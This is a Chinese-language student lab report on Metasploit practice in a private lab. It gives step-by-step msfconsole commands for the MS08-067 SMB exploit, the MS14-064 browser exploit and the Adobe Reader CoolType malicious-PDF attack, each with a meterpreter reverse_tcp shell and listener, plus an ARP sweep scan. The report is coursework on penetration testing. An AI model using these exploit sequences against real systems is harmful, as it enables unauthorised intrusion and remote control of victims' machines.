- 1. 实践基础
- 1.1 实践目标
- 1.1.1 实践对象
- 1.1.2 实践内容
- 1.2 基础知识
- 1.2.1 MSF的六种模块
- 1.2.2 核心命令
- 1.2.3 三个用户操作界面
- 1.3 基础问题回答
- 1.1 实践目标
- 2. 实践内容
- 2.1 主动攻击实践--ms08_067_netapi
- 2.2 攻击浏览器的实践--ms14_064
- 2.3 一个针对客户端的攻击-Adobe Reader
- 2.4 成功应用任何一个辅助模块scanner/discovery/arp_sweep
- 3.总结与体会
1. 实践基础
1.1 实践目标
1.1.1 实践对象
1.Windows 10
2.kali linux
1.1.2 实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,如ms08_067; (1分)
1.2 一个针对浏览器的攻击,如ms11_050;(1分)
1.3 一个针对客户端的攻击,如Adobe;(1分)
1.4 成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
1.2 基础知识
1.2.1 MSF的六种模块
(1)Exploit模块
- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块。
(2)Payload模块
- 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
-->三种 payload:/usr/share/metasploit-framework/modules/payloads/ - Single:all-in-one
- Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
- Stages:利用 stager 建立的连接下载的后续payload
(3)Encoder模块
- 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征。
- 不改变payload作用,但能对payload进行加工。
(4)Aux模块
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
(5)Post模块
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块。
(6)Nops模块
- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90。
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置。
1.2.2 核心命令
- 自动化工具
指令 | 目的 |
---|---|
banner | 显示一个很棒的metasploit横幅 |
cd | 更改当前工作目录 |
color | 切换颜色 |
connect | 与主机通信 |
exit | 退出控制台 |
get | 获取特定于上下文的变量的值 |
getg | 获取全局变量的值 |
grep | 管道另一个命令的输出 |
help | 帮助菜单 |
history | 显示命令历史记录 |
load | 加载框架插件 |
quit | 退出控制台 |
repeat | 重复命令列表 |
route | 通过会话路由流量 |
save | 保存活动数据存储 |
sessions | 转储会话列表并显示有关会话的信息 |
set | 将特定于上下文的变量设置为值 |
setg | 将全局变量设置为值 |
sleep | 在指定的秒数内不执行任何操作 |
spool | 将控制台输出写入文件以及屏幕 |
threads | 查看和操作后台线程 |
unload | 卸载框架插件 |
unset | 取消设置一个或多个特定于上下文的变量 |
unsetg | 取消设置一个或多个全局变量 |
version | 显示框架和控制台库版本号 |
1.2.3 三个用户操作界面
- MSF控制台:msfconsole
- Armitage:
1.启动服务器service postgresql start
2.启动 armitagearmitage - Web GUI
1.3 基础问题回答
用自己的话解释什么是exploit,payload,encode? |
- exploit:就是渗透攻击。这个模块下面有针对各种平台各种软件下的漏洞开发的渗透攻击子模块,用户可以调用某一个对靶机进行攻击。
- payload:就是载荷。比如一个后门,通过什么平台下的基于什么软件的连接方式,可以通过此项来设置。
- encode:就是一个编码器,把比如shellcode存在一些特征码,本来容易被靶机安全软件所察觉,用了这个编码器中的编码后就打乱了特征码,从而迷惑靶机。
2. 实践内容
2.1 主动攻击实践--ms08_067_netapi
实验环境:
攻击机:kali-linux-2020.1-vmware-amd64(192.168.43.241)
靶机:Windows XP Professional(192.168.43.218)
攻击软件:metasploit v5.0.85-dev
网络测试,两主机是否能ping通
测试靶机是否存在此漏洞,使用命令nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.43.218
可以看到靶机操作系统版本,也可以看到靶机有这个漏洞
(1)在Kali中打开mfs,输入指令msfconsole进入控制台
(2)输入use exploit/windows/smb/ms08_067_netapi指令进行主动攻击
(3)show payloads显示可用载荷
use exploit/windows/smb/ms08_067_netapi //选择攻击模块
show payloads //查看攻击载荷
(4)show options显示配置信息,默认端口是445
(5) show targets //查看可攻击的平台
(6)set RHOSTS 192.168.43.218设置靶机xp IP
(7)set LHOST 192.168.43.241设置攻击机kali IP
(8)exploit开始攻击
攻击成功!
2.2 攻击浏览器的实践--ms14_064
实验环境:
攻击机:kali-linux-2020.1-vmware-amd64(192.168.43.241)
靶机:Windows XP Professional(192.168.43.218)
攻击软件:metasploit v5.0.85-dev
网络测试,两主机是否能ping通
(1)在Kali中打开mfs,输入指令msfconsole进入控制台
(2)search ms14_064 搜索该漏洞存在的模块
(3)输入use exploit/windows/browser/ms14_064_ole_code_execution指令进行主动攻击
(4)show payloads显示可用载荷
(5)set payload windows/meterpreter/reverse_tcp 设置tcp反向连接
(6)set SRVHOST 192.168.43.241 设置攻方 IP
(7)set LHOST 192.168.43.241设置攻击机kali IP
(8)set LPORT 2327
(9)exploit开始攻击
(10)将提示中第四行的URL输入至靶机IE浏览器中,之后可以看到已经成功建立了会话一:
(11)输入sessions -i 1
即可选择第一个会话,调用shell权限成功,ipconfig后,我们确认靶机IP就是攻击目标192.168.43.218
攻击成功!
2.3 一个针对客户端的攻击-Adobe Reader
实验环境:
攻击机:kali-linux-2020.1-vmware-amd64(192.168.43.241)
靶机:Windows XP Professional +Adobe Reader 9.3.0(192.168.43.218)
攻击软件:metasploit v5.0.85-dev
网络测试,两主机是否能ping通
(1)在Kali中打开mfs,输入指令msfconsole进入控制台
(2)search adobe 进行查找adobe相关的攻击模块
(3)输入use windows/fileformat/adobe_cooltype_sing指令使用该漏洞
(4)show payloads显示可用载荷
(5)set payload windows/meterpreter/reverse_tcp 设置tcp反向连接
(6)show options
(7)set LHOST 192.168.43.241设置攻击机kali IP
(8)set LPORT 2327
(9)exploit 攻击
(10)back退出当前模块
(11)use exploit/multi/handler 进入监听模块
(12)set payload windows/meterpreter/reverse_tcp 选择攻击载荷
(13)set LHOST 192.168.43.241 设置攻击机IP地址
(14)set LPORT 5227 设置端口号
(15)exploit 攻击
(16)靶机中打开pdf文件,kali中可以发现攻击成功!
2.4 成功应用任何一个辅助模块scanner/discovery/arp_sweep
通过使用ARP请求枚举本地网络中的活动主机
实验环境:
kali-linux-2020.1-vmware-amd64(192.168.43.241)
metasploit v5.0.85-dev
(1)在Kali中打开mfs,输入指令msfconsole进入控制台
(2)输入use scanner/discovery/arp_sweep指令进行主动攻击
(3)set RHOSTS 192.168.43.0-245 扫描范围
(4)set threads 50
(5)run 运行
3.总结与体会
- 相比上次,这实验不是很难,所以感觉还不错,漏洞的年限都比较久远了,所攻击的系统也很久远,XP,win7都停服了。但这并不意味着现在用的最新系统就没有漏洞就不会有人攻击,所以,还是要有所防范。